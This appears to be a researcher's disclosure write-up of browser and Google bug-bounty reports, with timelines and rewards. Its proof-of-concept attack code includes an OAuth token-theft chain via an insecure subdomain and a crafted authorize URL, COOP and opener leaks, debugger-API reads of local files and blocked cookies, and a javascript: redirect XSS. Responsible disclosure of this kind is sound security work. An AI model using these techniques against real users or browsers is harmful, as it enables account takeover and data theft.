const ALLOWED_ORIGINS = [
  'codeassist.google.com',
  'pantheon.corp.google.com',
  'pantheon-staging.corp.google.com',
  'pantheon-staging-sso.corp.google.com',
  'pantheon-hourly.corp.google.com',
  'pantheon-hourly-sso.corp.google.com',
  'console.cloud.google.com',
  'code-assist-free-tier.corp.google.com',
  'code-assist-free-tier-autopush.corp.google.com',
  'code-assist-free-tier-staging.corp.google.com',
  'localhost.corp.google.com:9998'
];
let origin = JSON.parse(
  new URLSearchParams(window.location.search).get('state')
).origin;
let host = new URL(origin).hostname;
for (const allowedOrigin of ALLOWED_ORIGINS) {
  if (host.endsWith(allowedOrigin)) {
    window.opener.postMessage(window.location.toString(), origin);
    window.close();
    break;
  }
}

Requirements:

• User trusts the Google Cloud Developer Connect Account Connector OAuth app on GitHub, which has Full control of private repositories.

  At the time of the report, this could be done on https://codeassist.google.com/agents-tools by following the normal HTTPS OAuth flow and redirection, but that feature has since been removed.

• The user is on a public network.

User steps:

• User gets automatically redirected to an attacker captive portal (Normal secure non-Google-looking website).
• User taps ‘accept cookies’ for popup (User activation).

Attacker script steps:

• The attacker page then does two things: it opens a popup and redirects the now-hidden tab to http://unsafe.codeassist.google.com/ that’s over an insecure connection and controlled by the attacker.
• The attacker-controlled http://unsafe.codeassist.google.com/ uses its postMessage listener to steal the secret OAuth URL via window.onmessage

  GitHub doesn’t support the implicit grant type, but it’s likely abused by using the https://codeassist.google.com/api/finishoauth method, the same as the previous VRP report.

• The popup gets redirected to the attacker-modified OAuth URL with its custom state value https://github.com/login/oauth/authorize?redirect_uri=https%3A%2F%2Fdeveloperconnect.google.com%2Fredirect&client_id=Ov23liuPPgjf25D65gXP&scope=repo&state=%7B%22origin%22%3A%22http%3A%2F%2Funsafe.codeassist.google.com%22%7D

  Since the attacker is not asking for any new permissions despite the URL parameters changing, this OAuth flow does not prompt the user for consent.

Reasoning for initial WontFix

“We’ve reviewed your report, and it seems the attack you’ve outlined relies on a few unlikely conditions. For this to work, a user would need to be on a malicious network and then actively click through redirects to an attacker-controlled site. We’re also not clear on how a user would initially be directed to this malicious website.

Given these factors, we won’t be tracking this as a security vulnerability.”

The Chromium team is planning on enabling HTTPS by default for Chrome 154 in October 2026 https://security.googleblog.com/2025/10/https-by-default.html

Timeline

• Reported Sep 14, 2025 01:01 AM
• Didn’t provide enough details Sep 15, 2025 07:57 PM
• Assigned Sep 16, 2025 02:54PM
• Highly unrealistic preconditions. If an attacker had that level of access, they could likely achieve more significant compromises. Sep 20, 2025 12:12 AM
• Assigned Sep 22, 2025 01:45PM
• Reviewed by Trust & Safety Team Sep 24, 2025 02:18PM
• Changed from P3 to P2 Nov 4, 2025 09:18 PM (Thanks)
• Won’t Fix (Infeasible) Nov 5, 2025 09:59 PM
• Heads up regarding the disclosure of report Nov 6, 2025 07:53AM
• Assigned to Google Cloud VRP Team Nov 12, 2025 04:13PM
• Filed a bug with the responsible product team Nov 13, 2025 09:06AM
• Google Vulnerability Reward Program panel decided to issue a reward of $400.00 Nov 18, 2025 02:55PM
• Google Vulnerability Reward Program panel decided to issue a reward of $669.60 Nov 25, 2025 02:55PM

It allowed leaking window.length from a COOP protected page via parent.opener.length

1. https://example.com/ run open(); // cross-origin page
2. opener.location = 'https://first-party-test.glitch.me/?coop=same-origin'; // Page with COOP
3. let f = document.createElement('iframe'); f.src = "https://example.org"; document.body.appendChild(f); // Must be cross origin
4. In the context of the iframe, do parent.opener.length. To get a new length, just create a new cross-origin iframe.

This issue was fixed in https://issues.chromium.org/40059056

COOP pages got blocked when coming from a “null” origin but didn’t get severed (Awarded $3000)

The iframe had access to “w”, which could be used to do navigation-based timing attacks.

<iframe
  srcdoc="<script>w = open('https://myactivity.google.com/myactivity')</script>"
  sandbox="allow-scripts allow-popups"></iframe>

This issue was fixed in https://issuetracker.google.com/40057526

‘Page.navigate’ could navigate iframes to file:// when not enabled (Awarded $3000)

Extensions with both pageCapture and debugger permissions could read local file contents. This is because it’s possible to use Page.navigate to navigate an iframe to file:// when “Allow access to file URLs” is disabled, exposing the file’s contents to the pageCapture API.

chrome.debugger.attach({tabId: <TARGET>}, '1.3', console.log);
chrome.debugger.sendCommand({tabId: <TARGET>}, 'Page.navigate', {frameId: <FRAME ID AS SEEN FROM EVENTS>, url: 'file:///d:/demo.txt'}, console.log);
chrome.pageCapture.saveAsMHTML({tabId: <TARGET>}, console.log);

This issue was fixed in https://issues.chromium.org/40060173

Features bypass the runtime_blocked_hosts cookie protection (Awarded $3000)

Extensions were able to get cookies from a runtime_blocked_host using the chrome.debugger API via Storage.getCookies https://chromedevtools.github.io/devtools-protocol/tot/Storage/#method-getCookies and other protocol features.

Setup

• Add host to runtime_blocked_hosts https://chromeenterprise.google/policies/?policy=ExtensionSettings
• For Windows 10 using registry at HKEY_CURRENT_USER\SOFTWARE\Policies\Google\Chrome create string with name ExtensionSettings and content of { "*": { "runtime_blocked_hosts": [ "*://example.org" ] } }
• The policy should be listed at chrome://policy/; you may need to reload.
• Create cookie at https://example.org like document.cookie = 'foo=foo';

Exploit

Using a browser extension with the debugger permission.

• Get tabId like with chrome.tabs.query({active: true});
• Attach to a tab with await chrome.debugger.attach(target, '1.3');
• Run Storage.getCookies with await chrome.debugger.sendCommand({tabId: <tabId>}, 'Storage.getCookies');. It should return the cookie from the runtime blocked host.

let link = document.createElement('a');
link.innerText = 'foo';
link.href = '#';
link.addEventListener('dragstart', onDragStart, false);
document.body.appendChild(link);

function onDragStart(e) {
  e.dataTransfer.setData(
    'DownloadURL',
    'application/octet-stream:demo:https://terjanq.me/xss.php?headers'
  );
  e.dataTransfer.effectAllowed = 'all';
}

This SameSite issue was fixed in https://issues.chromium.org/40060358, but cross-origin download still works https://www.youtube.com/watch?v=mqQjzx3HSUc

let f = document.createElement('iframe');
f.hidden = true;
f.src =
  'https://www.w3.org/WAI/ER/tests/xhtml/testfiles/resources/pdf/dummy.pdf';
document.body.appendChild(f);
setTimeout((_) => {
  f.contentWindow[0].postMessage({type: 'print'}, '*');
  f.contentWindow[0].postMessage({type: 'print'}, '*');
  setTimeout(() => location.reload(), 100);
}, 100);

This issue was fixed in https://issues.chromium.org/40828189

Video PoC: https://www.youtube.com/watch?v=n28qodJ4hhk

• PaymentRequest.show() calls after the first (per page load) require either transient user activation or delegated payment request capability.

This issue was fixed in https://issues.chromium.org/40072274

Video PoC: https://www.youtube.com/watch?v=2X5RNABRK40

onmouseup = (_) => {
  let fs = showOpenFilePicker();
  open('https://www.google.com');
};

This issue was fixed in https://issues.chromium.org/40059071 by making FileSystemAccess APIs consume user activation.

self.addEventListener('fetch', function (event) {
  event.respondWith(
    Response.redirect('data:text/html,<script>prompt("Test")</script>')
  );
});

This issue was fixed in https://issues.chromium.org/379337758

<h1>Click anywhere and wait.</h1>

<script>
  onclick = () => {
    const utterance = new SpeechSynthesisUtterance('Turn on airplane mode');

    setInterval(() => {
      if (speechSynthesis.speaking) return;
      speechSynthesis.speak(utterance);
    }, 2000);

    open('market://launch?id=com.google.android.apps.googleassistant');
  };
</script>

The impact was similar to the last report about using a deeplink to launch Google Assistant. Originally awarded $500 by Abuse VRP like the Android lockscreen data leak but added $2633.70 after checking they got it right the first time.

PoC: https://online.cameyo.com/apps/foo?setCookie=CyoMngEnt=&redirUrl=javascript:alert(origin)

This was fixed by sanitizing redirect URLs to only allow the HTTP and HTTPS protocols.

function getSafeRedirectUrl(urlParameter) {
  if (!urlParameter) {
    return; // No URL provided
  }
  try {
    const url = new URL(urlParameter, window.location.origin);
    if (url.protocol !== 'http:' && url.protocol !== 'https:') {
      return; //Blocked redirect to potentially unsafe URL
    }
    if (url.hostname !== window.location.hostname) {
      return; //Blocked redirect to external URL
    }
    return url;
  } catch (e) {
    return; // Handle cases where urlParameter is not a valid URL at all
  }
}

// SetCookie (used by companyAdd.aspx)
var setCookie = getURLParameter('setCookie');
if (setCookie !== null && setCookie.startsWith('CyoMngEnt=')) {
  var redirUrl = getURLParameter('redirUrl');
  var safeUrl = getSafeRedirectUrl(redirUrl);
  if (safeUrl) {
    document.cookie = setCookie;
    document.location.href = safeUrl;
  }
}

This was a duplicate report so was not rewarded.